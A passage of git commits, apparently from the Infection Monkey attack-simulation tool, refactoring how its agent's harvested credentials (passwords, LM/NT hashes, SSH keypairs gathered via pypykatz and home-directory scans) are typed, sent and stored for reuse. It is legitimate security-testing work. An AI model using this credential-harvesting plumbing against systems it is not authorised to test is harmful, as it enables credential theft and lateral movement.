b/monkey/common/common_consts/credentials_type.py @@ -1,7 +1,7 @@ from enum import Enum -class CredentialType(Enum): +class CredentialsType(Enum): USERNAME = 1 PASSWORD = 2 NT_HASH = 3 diff --git a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py index 7706540a3..a7be177a8 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py @@ -1,9 +1,10 @@ from dataclasses import dataclass, field -from infection_monkey.i_puppet import CredentialType, ICredentialComponent +from common.common_consts.credentials_type import CredentialsType +from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class LMHash(ICredentialComponent): - credential_type: CredentialType = field(default=CredentialType.LM_HASH, init=False) + credential_type: CredentialsType = field(default=CredentialsType.LM_HASH, init=False) lm_hash: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py index e6932c4c5..d23f42a1d 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py @@ -1,9 +1,10 @@ from dataclasses import dataclass, field -from infection_monkey.i_puppet import CredentialType, ICredentialComponent +from common.common_consts.credentials_type import CredentialsType +from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class NTHash(ICredentialComponent): - credential_type: CredentialType = field(default=CredentialType.NT_HASH, init=False) + credential_type: CredentialsType = field(default=CredentialsType.NT_HASH, init=False) nt_hash: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/password.py b/monkey/infection_monkey/credential_collectors/credential_components/password.py index 701c9fcde..19477ab18 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/password.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/password.py @@ -1,9 +1,10 @@ from dataclasses import dataclass, field -from infection_monkey.i_puppet import CredentialType, ICredentialComponent +from common.common_consts.credentials_type import CredentialsType +from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class Password(ICredentialComponent): - credential_type: CredentialType = field(default=CredentialType.PASSWORD, init=False) + credential_type: CredentialsType = field(default=CredentialsType.PASSWORD, init=False) password: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py index c5f377c44..6d54dafe4 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py @@ -1,10 +1,11 @@ from dataclasses import dataclass, field -from infection_monkey.i_puppet import CredentialType, ICredentialComponent +from common.common_consts.credentials_type import CredentialsType +from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class SSHKeypair(ICredentialComponent): - credential_type: CredentialType = field(default=CredentialType.SSH_KEYPAIR, init=False) + credential_type: CredentialsType = field(default=CredentialsType.SSH_KEYPAIR, init=False) private_key: str public_key: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/username.py b/monkey/infection_monkey/credential_collectors/credential_components/username.py index 208849061..f1587955f 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/username.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/username.py @@ -1,9 +1,10 @@ from dataclasses import dataclass, field -from infection_monkey.i_puppet import CredentialType, ICredentialComponent +from common.common_consts.credentials_type import CredentialsType +from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class Username(ICredentialComponent): - credential_type: CredentialType = field(default=CredentialType.USERNAME, init=False) + credential_type: CredentialsType = field(default=CredentialsType.USERNAME, init=False) username: str diff --git a/monkey/infection_monkey/i_puppet/__init__.py b/monkey/infection_monkey/i_puppet/__init__.py index 1c16f6df2..767826297 100644 --- a/monkey/infection_monkey/i_puppet/__init__.py +++ b/monkey/infection_monkey/i_puppet/__init__.py @@ -1,10 +1,4 @@ from .plugin_type import PluginType -from .credential_collection import ( - Credentials, - CredentialType, - ICredentialCollector, - ICredentialComponent, -) from .i_puppet import ( IPuppet, ExploiterResultData, @@ -16,3 +10,8 @@ from .i_puppet import ( UnknownPluginError, ) from .i_fingerprinter import IFingerprinter +from .credential_collection import ( + Credentials, + ICredentialCollector, + ICredentialComponent, +) diff --git a/monkey/infection_monkey/i_puppet/credential_collection/__init__.py b/monkey/infection_monkey/i_puppet/credential_collection/__init__.py index 8bfa68b38..a97d8373f 100644 --- a/monkey/infection_monkey/i_puppet/credential_collection/__init__.py +++ b/monkey/infection_monkey/i_puppet/credential_collection/__init__.py @@ -1,4 +1,3 @@ from .i_credential_collector import ICredentialCollector from .credentials import Credentials from .i_credential_component import ICredentialComponent -from .credential_type import CredentialType diff --git a/monkey/infection_monkey/i_puppet/credential_collection/i_credential_component.py b/monkey/infection_monkey/i_puppet/credential_collection/i_credential_component.py index d1c005886..5846c7ecf 100644 --- a/monkey/infection_monkey/i_puppet/credential_collection/i_credential_component.py +++ b/monkey/infection_monkey/i_puppet/credential_collection/i_credential_component.py @@ -1,10 +1,10 @@ from abc import ABC, abstractmethod -from .credential_type import CredentialType +from common.common_consts.credentials_type import CredentialsType class ICredentialComponent(ABC): @property @abstractmethod - def credential_type(self) -> CredentialType: + def credential_type(self) -> CredentialsType: pass diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py index 44cd5c0cc..00d403937 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -12,6 +12,7 @@ from monkey_island.cc.services.telemetry.processing.tunnel import process_tunnel logger = logging.getLogger(__name__) TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = { + TelemCategoryEnum.CREDENTIALS: process_credentials_telemetry, TelemCategoryEnum.TUNNEL: process_tunnel_telemetry, TelemCategoryEnum.STATE: process_state_telemetry, TelemCategoryEnum.EXPLOIT: process_exploit_telemetry, From 5471e9854c23197f73e238c00bf73b2642e6f208 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 17 Feb 2022 17:27:09 +0200 Subject: [PATCH 0486/1110] Island: remove credentials parsing boundary --- .../cc/services/telemetry/processing/credentials.py | 7 ------- 1 file changed, 7 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/telemetry/processing/credentials.py diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials.py deleted file mode 100644 index fa772d1fd..000000000 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials.py +++ /dev/null @@ -1,7 +0,0 @@ -from monkey_island.cc.services.telemetry.processing.credentials.credentials_parser import ( - parse_credentials, -) - - -def process_credentials_telemetry(telemetry: dict): - parse_credentials(telemetry) From 73434537fee092779547d542c8416dbfab40bd93 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 17 Feb 2022 17:28:05 +0200 Subject: [PATCH 0487/1110] Island: remove system_info processing file No system info telemetries need to be processed anymore --- .../telemetry/processing/processing.py | 6 +- .../telemetry/processing/system_info.py | 95 ------------------- 2 files changed, 3 insertions(+), 98 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/telemetry/processing/system_info.py diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py index 00d403937..0dd93aab1 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -2,22 +2,22 @@ import logging from common.common_consts.telem_categories import TelemCategoryEnum from monkey_island.cc.services.telemetry.processing.aws_info import process_aws_telemetry +from monkey_island.cc.services.telemetry.processing.credentials.credentials_parser import\ + parse_credentials from monkey_island.cc.services.telemetry.processing.exploit import process_exploit_telemetry from monkey_island.cc.services.telemetry.processing.post_breach import process_post_breach_telemetry from monkey_island.cc.services.telemetry.processing.scan import process_scan_telemetry from monkey_island.cc.services.telemetry.processing.state import process_state_telemetry -from monkey_island.cc.services.telemetry.processing.system_info import process_system_info_telemetry from monkey_island.cc.services.telemetry.processing.tunnel import process_tunnel_telemetry logger = logging.getLogger(__name__) TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = { - TelemCategoryEnum.CREDENTIALS: process_credentials_telemetry, + TelemCategoryEnum.CREDENTIALS: parse_credentials, TelemCategoryEnum.TUNNEL: process_tunnel_telemetry, TelemCategoryEnum.STATE: process_state_telemetry, TelemCategoryEnum.EXPLOIT: process_exploit_telemetry, TelemCategoryEnum.SCAN: process_scan_telemetry, - TelemCategoryEnum.SYSTEM_INFO: process_system_info_telemetry, TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry, TelemCategoryEnum.AWS_INFO: process_aws_telemetry, # `lambda *args, **kwargs: None` is a no-op. diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py deleted file mode 100644 index 06ee2e168..000000000 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ /dev/null @@ -1,95 +0,0 @@ -import logging - -from monkey_island.cc.server_utils.encryption import get_datastore_encryptor -from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 - SystemInfoTelemetryDispatcher, -) - -logger = logging.getLogger(__name__) - - -def process_system_info_telemetry(telemetry_json): - dispatcher = SystemInfoTelemetryDispatcher() - telemetry_processing_stages = [ - process_ssh_info, - process_credential_info, - dispatcher.dispatch_collector_results_to_relevant_processors, - ] - - # Calling safe_process_telemetry so if one of the stages fail, we log and move on instead of - # failing the rest of - # them, as they are independent. - for stage in telemetry_processing_stages: - safe_process_telemetry(stage, telemetry_json) - - -def safe_process_telemetry(processing_function, telemetry_json): - # noinspection PyBroadException - try: - processing_function(telemetry_json) - except Exception as err: - logger.error( - "Error {} while in {} stage of processing telemetry.".format( - str(err), processing_function.__name__ - ), - exc_info=True, - ) - - -def process_ssh_info(telemetry_json): - if "ssh_info" in telemetry_json["data"]: - ssh_info = telemetry_json["data"]["ssh_info"] - encrypt_system_info_ssh_keys(ssh_info) - if telemetry_json["data"]["network_info"]["networks"]: - # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip - # from telemetry - add_ip_to_ssh_keys(telemetry_json["data"]["network_info"]["networks"][0], ssh_info) - add_system_info_ssh_keys_to_config(ssh_info) - - -def add_system_info_ssh_keys_to_config(ssh_info): - for user in ssh_info: - ConfigService.creds_add_username(user["name"]) - # Public key is useless without private key - if user["public_key"] and user["private_key"]: - ConfigService.ssh_add_keys( - user["public_key"], user["private_key"], user["name"], user["ip"] - ) - - -def add_ip_to_ssh_keys(ip, ssh_info): - for key in ssh_info: - key["ip"] = ip["addr"] - - -def encrypt_system_info_ssh_keys(ssh_info): - for idx, user in enumerate(ssh_info): - for field in ["public_key", "private_key", "known_hosts"]: - if ssh_info[idx][field]: - ssh_info[idx][field] = get_datastore_encryptor().encrypt(ssh_info[idx][field]) - - -def process_credential_info(telemetry_json): - if "credentials" in telemetry_json["data"]: - creds = telemetry_json["data"]["credentials"] - add_system_info_creds_to_config(creds) - replace_user_dot_with_comma(creds) - - -def replace_user_dot_with_comma(creds): - for user in creds: - if -1 != user.find("."): - new_user = user.replace(".", ",") - creds[new_user] = creds.pop(user) - - -def add_system_info_creds_to_config(creds): - for user in creds: - ConfigService.creds_add_username(creds[user]["username"]) - if "password" in creds[user] and creds[user]["password"]: - ConfigService.creds_add_password(creds[user]["password"]) - if "lm_hash" in creds[user] and creds[user]["lm_hash"]: - ConfigService.creds_add_lm_hash(creds[user]["lm_hash"]) - if "ntlm_hash" in creds[user] and creds[user]["ntlm_hash"]: - ConfigService.creds_add_ntlm_hash(creds[user]["ntlm_hash"]) From c96674f8340c6e1516092a597e386db74453ade3 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 17 Feb 2022 17:29:23 +0200 Subject: [PATCH 0488/1110] Island, Agent: fixed imports to reference credential type enum in common --- monkey/infection_monkey/i_puppet/i_puppet.py | 3 ++- .../processing/credentials/credentials_parser.py | 16 ++++++++-------- 2 files changed, 10 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index 79bd3b4fe..82f6b8b94 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -4,7 +4,8 @@ from collections import namedtuple from enum import Enum from typing import Dict, List, Sequence -from . import Credentials, PluginType +from . import PluginType +from .credential_collection import Credentials class PortStatus(Enum): diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py index af022b678..2dfc08aa2 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py @@ -1,6 +1,6 @@ import logging -from infection_monkey.i_puppet import CredentialType +from common.common_consts.credentials_type import CredentialsType from .identities.username_processor import process_username from .secrets.lm_hash_processor import process_lm_hash @@ -11,21 +11,21 @@ from .secrets.ssh_key_processor import process_ssh_key logger = logging.getLogger(__name__) SECRET_PROCESSORS = { - CredentialType.PASSWORD: process_password, - CredentialType.NT_HASH: process_nt_hash, - CredentialType.LM_HASH: process_lm_hash, - CredentialType.SSH_KEYPAIR: process_ssh_key, + CredentialsType.PASSWORD: process_password, + CredentialsType.NT_HASH: process_nt_hash, + CredentialsType.LM_HASH: process_lm_hash, + CredentialsType.SSH_KEYPAIR: process_ssh_key, } IDENTITY_PROCESSORS = { - CredentialType.USERNAME: process_username, + CredentialsType.USERNAME: process_username, } def parse_credentials(credentials: dict): for credential in credentials["credentials"]: if is_ssh_keypair(credentials): - IDENTITY_PROCESSORS[CredentialType.SSH_KEYPAIR](credential, credentials["monkey_guid"]) + IDENTITY_PROCESSORS[CredentialsType.SSH_KEYPAIR](credential, credentials["monkey_guid"]) else: for identity in credential["identities"]: IDENTITY_PROCESSORS[identity["type"]](identity) @@ -35,5 +35,5 @@ def parse_credentials(credentials: dict): def is_ssh_keypair(credentials: dict) -> bool: return bool( - filter(credentials["secrets"], lambda secret: secret["type"] == CredentialType.SSH_KEYPAIR) + filter(credentials["secrets"], lambda secret: secret["type"] == CredentialsType.SSH_KEYPAIR) ) From b224348881114afcfc3f694d65d1ef34c2271acd Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 17 Feb 2022 19:33:47 +0100 Subject: [PATCH 0489/1110] Island: Fix credential collector parsing for SSH --- .../credentials/credentials_parser.py | 18 +++++++++++------- .../credentials/secrets/ssh_key_processor.py | 4 +++- 2 files changed, 14 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py index 2dfc08aa2..e237f0139 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py @@ -23,17 +23,21 @@ IDENTITY_PROCESSORS = { def parse_credentials(credentials: dict): - for credential in credentials["credentials"]: - if is_ssh_keypair(credentials): - IDENTITY_PROCESSORS[CredentialsType.SSH_KEYPAIR](credential, credentials["monkey_guid"]) + + for credential in credentials["data"]: + if is_ssh_keypair(credential): + SECRET_PROCESSORS[CredentialsType.SSH_KEYPAIR](credential, credentials["monkey_guid"]) else: for identity in credential["identities"]: - IDENTITY_PROCESSORS[identity["type"]](identity) + IDENTITY_PROCESSORS[identity["credential_type"]](identity) for secret in credential["secrets"]: - SECRET_PROCESSORS[secret["type"]](secret) + SECRET_PROCESSORS[secret["credential_type"]](secret) -def is_ssh_keypair(credentials: dict) -> bool: +def is_ssh_keypair(credential: dict) -> bool: return bool( - filter(credentials["secrets"], lambda secret: secret["type"] == CredentialsType.SSH_KEYPAIR) + filter( + lambda secret: secret["credential_type"] == CredentialsType.SSH_KEYPAIR, + credential["secrets"], + ) ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py index df0557115..47ecc265a 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py @@ -17,7 +17,7 @@ def process_ssh_key(credentials: dict, monkey_guid: str): ) for ssh_key in credentials["secrets"]: - if not ssh_key["type"] == CredentialsType.SSH_KEYPAIR: + if not ssh_key["credential_type"] == CredentialsType.SSH_KEYPAIR.name: raise SSHKeyProcessingError("SSH credentials contain secrets that are not keypairs") if not ssh_key["public_key"] or not ssh_key["private_key"]: @@ -27,6 +27,8 @@ def process_ssh_key(credentials: dict, monkey_guid: str): ip = Monkey.get_single_monkey_by_guid(monkey_guid).ip_addresses[0] username = credentials["identities"][0]["username"] + encrypt_system_info_ssh_keys(ssh_key) + ConfigService.ssh_add_keys( user=username, public_key=ssh_key["public_key"], From 036388e7047f79ba395fe4c8d50e6bff832bc39a Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Fri, 18 Feb 2022 11:55:27 +0000 Subject: [PATCH 0490/1110] Agent: don't log the contents of credentials telemetries --- monkey/infection_monkey/telemetry/credentials_telem.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/infection_monkey/telemetry/credentials_telem.py b/monkey/infection_monkey/telemetry/credentials_telem.py index 5da7040d5..c0573d942 100644 --- a/monkey/infection_monkey/telemetry/credentials_telem.py +++ b/monkey/infection_monkey/telemetry/credentials_telem.py @@ -17,6 +17,9 @@ class CredentialsTelem(BaseTelem): """ self._credentials = credentials + def send(self, log_data=True): + super().send(log_data=False) + def get_data(self) -> Dict: # TODO: At a later time we can consider factoring this into a Serializer class or similar. return json.loads(json.dumps(self._credentials, default=_serialize)) From b3446764255450b00c3c01149979846d0933c11e Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Fri, 18 Feb 2022 11:56:21 +0000 Subject: [PATCH 0491/1110] Agent: add basic log statements to the mimikatz collector --- .../mimikatz_collector/mimikatz_credential_collector.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py index 1cbef911e..0ef75ed1b 100644 --- a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py @@ -1,3 +1,4 @@ +import logging from typing import Sequence from infection_monkey.credential_collectors import LMHash, NTHash, Password, Username @@ -6,10 +7,15 @@ from infection_monkey.i_puppet.credential_collection import Credentials, ICreden from . import pypykatz_handler from .windows_credentials import WindowsCredentials +logger = logging.getLogger(__name__) + class MimikatzCredentialCollector(ICredentialCollector): + def collect_credentials(self, options=None) -> Sequence[Credentials]: + logger.info("Attempting to collect windows credentials with pypykatz.") creds = pypykatz_handler.get_windows_creds() + logger.info(f"Pypykatz gathered {len(creds)} credentials.") return MimikatzCredentialCollector._to_credentials(creds) @staticmethod From d874cd9d5aaac1d0348c0b56b29c194ae2e35bd0 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Fri, 18 Feb 2022 14:22:43 +0000 Subject: [PATCH 0492/1110] Agent: fix broken pwd import on windows for ssh_handler.py --- .../credential_collectors/ssh_collector/ssh_handler.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py index 98ca0df4a..5dba2bbf3 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -30,7 +30,6 @@ def get_ssh_info(telemetry_messenger: ITelemetryMessenger) -> Iterable[Dict]: def _get_home_dirs() -> Iterable[Dict]: import pwd - root_dir = _get_ssh_struct("root", "") home_dirs = [ _get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall() if x.pw_dir.startswith("/home") From bb760c7e8ae7d22a04470c0013b1f48ebaff6704 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 21 Feb 2022 10:58:58 +0200 Subject: [PATCH 0493/1110] Island: fix detection if credential is a keypair --- .../processing/credentials/credentials_parser.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py index e237f0139..cd738f4b4 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py @@ -36,8 +36,9 @@ def parse_credentials(credentials: dict): def is_ssh_keypair(credential: dict) -> bool: return bool( - filter( - lambda secret: secret["credential_type"] == CredentialsType.SSH_KEYPAIR, - credential["secrets"], - ) + [ + secret + for secret in credential["secrets"] + if secret["credential_type"] == CredentialsType.SSH_KEYPAIR + ] ) From 4b3750076a8a7c8110cd001eb832c282e322f2ae Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Mon, 21 Feb 2022 12:40:11 +0000 Subject: [PATCH 0494/1110] Agent, Island, Common: change code to process CredentialType value Island: rename credentials_type.py --- monkey/common/common_consts/credentials_type.py | 10 +++++----- .../credential_components/lm_hash.py | 2 +- .../credential_components/nt_hash.py | 2 +- .../credential_components/password.py | 2 +- .../credential_components/ssh_keypair.py | 2 +- .../credential_components/username.py | 2 +- .../processing/credentials/credentials_parser.py | 14 +++++++------- .../credentials/secrets/ssh_key_processor.py | 2 +- 8 files changed, 18 insertions(+), 18 deletions(-) diff --git a/monkey/common/common_consts/credentials_type.py b/monkey/common/common_consts/credentials_type.py index e818b1e5c..0aeb79630 100644 --- a/monkey/common/common_consts/credentials_type.py +++ b/monkey/common/common_consts/credentials_type.py @@ -2,8 +2,8 @@ from enum import Enum class CredentialsType(Enum): - USERNAME = 1 - PASSWORD = 2 - NT_HASH = 3 - LM_HASH = 4 - SSH_KEYPAIR = 5 + USERNAME = "username" + PASSWORD = "password" + NT_HASH = "nt_hash" + LM_HASH = "lm_hash" + SSH_KEYPAIR = "ssh_keypair" diff --git a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py index a7be177a8..721e5a822 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py @@ -6,5 +6,5 @@ from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class LMHash(ICredentialComponent): - credential_type: CredentialsType = field(default=CredentialsType.LM_HASH, init=False) + credential_type: CredentialsType = field(default=CredentialsType.LM_HASH.value, init=False) lm_hash: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py index d23f42a1d..c7d0de042 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py @@ -6,5 +6,5 @@ from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class NTHash(ICredentialComponent): - credential_type: CredentialsType = field(default=CredentialsType.NT_HASH, init=False) + credential_type: CredentialsType = field(default=CredentialsType.NT_HASH.value, init=False) nt_hash: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/password.py b/monkey/infection_monkey/credential_collectors/credential_components/password.py index 19477ab18..5615c20f7 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/password.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/password.py @@ -6,5 +6,5 @@ from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class Password(ICredentialComponent): - credential_type: CredentialsType = field(default=CredentialsType.PASSWORD, init=False) + credential_type: CredentialsType = field(default=CredentialsType.PASSWORD.value, init=False) password: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py index 6d54dafe4..29f91a15d 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py @@ -6,6 +6,6 @@ from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class SSHKeypair(ICredentialComponent): - credential_type: CredentialsType = field(default=CredentialsType.SSH_KEYPAIR, init=False) + credential_type: CredentialsType = field(default=CredentialsType.SSH_KEYPAIR.value, init=False) private_key: str public_key: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/username.py b/monkey/infection_monkey/credential_collectors/credential_components/username.py index f1587955f..7ed37e89c 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/username.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/username.py @@ -6,5 +6,5 @@ from infection_monkey.i_puppet import ICredentialComponent @dataclass(frozen=True) class Username(ICredentialComponent): - credential_type: CredentialsType = field(default=CredentialsType.USERNAME, init=False) + credential_type: CredentialsType = field(default=CredentialsType.USERNAME.value, init=False) username: str diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py index cd738f4b4..47be30a63 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py @@ -11,14 +11,14 @@ from .secrets.ssh_key_processor import process_ssh_key logger = logging.getLogger(__name__) SECRET_PROCESSORS = { - CredentialsType.PASSWORD: process_password, - CredentialsType.NT_HASH: process_nt_hash, - CredentialsType.LM_HASH: process_lm_hash, - CredentialsType.SSH_KEYPAIR: process_ssh_key, + CredentialsType.PASSWORD.value: process_password, + CredentialsType.NT_HASH.value: process_nt_hash, + CredentialsType.LM_HASH.value: process_lm_hash, + CredentialsType.SSH_KEYPAIR.value: process_ssh_key, } IDENTITY_PROCESSORS = { - CredentialsType.USERNAME: process_username, + CredentialsType.USERNAME.value: process_username, } @@ -26,7 +26,7 @@ def parse_credentials(credentials: dict): for credential in credentials["data"]: if is_ssh_keypair(credential): - SECRET_PROCESSORS[CredentialsType.SSH_KEYPAIR](credential, credentials["monkey_guid"]) + SECRET_PROCESSORS[CredentialsType.SSH_KEYPAIR.value](credential, credentials["monkey_guid"]) else: for identity in credential["identities"]: IDENTITY_PROCESSORS[identity["credential_type"]](identity) @@ -39,6 +39,6 @@ def is_ssh_keypair(credential: dict) -> bool: [ secret for secret in credential["secrets"] - if secret["credential_type"] == CredentialsType.SSH_KEYPAIR + if secret["credential_type"] == CredentialsType.SSH_KEYPAIR.value ] ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py index 47ecc265a..61d03b2d1 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py @@ -17,7 +17,7 @@ def process_ssh_key(credentials: dict, monkey_guid: str): ) for ssh_key in credentials["secrets"]: - if not ssh_key["credential_type"] == CredentialsType.SSH_KEYPAIR.name: + if not ssh_key["credential_type"] == CredentialsType.SSH_KEYPAIR.value: raise SSHKeyProcessingError("SSH credentials contain secrets that are not keypairs") if not ssh_key["public_key"] or not ssh_key["private_key"]: From 600753b53cec34539666fe45370034dc78c19554 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 21 Feb 2022 17:22:36 +0200 Subject: [PATCH 0495/1110] Island: add username processor --- .../credentials/identities/username_processor.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/username_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/username_processor.py index c13af4d67..79b09901b 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/username_processor.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/identities/username_processor.py @@ -1,2 +1,5 @@ -def process_username(): - pass +from monkey_island.cc.services.config import ConfigService + + +def process_username(username: dict): + ConfigService.creds_add_username(username["username"]) From 80bf5618204200df32b82d99082b9666c1267cd7 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 21 Feb 2022 17:23:28 +0200 Subject: [PATCH 0496/1110] Island: fix a bug in lm_hash_processor.py --- .../processing/credentials/secrets/lm_hash_processor.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/lm_hash_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/lm_hash_processor.py index 4cc4c28e3..7c5d5f3fa 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/lm_hash_processor.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/lm_hash_processor.py @@ -2,4 +2,4 @@ from monkey_island.cc.services.config import ConfigService def process_lm_hash(lm_hash: dict): - ConfigService.creds_add_ntlm_hash(lm_hash["lm_hash"]) + 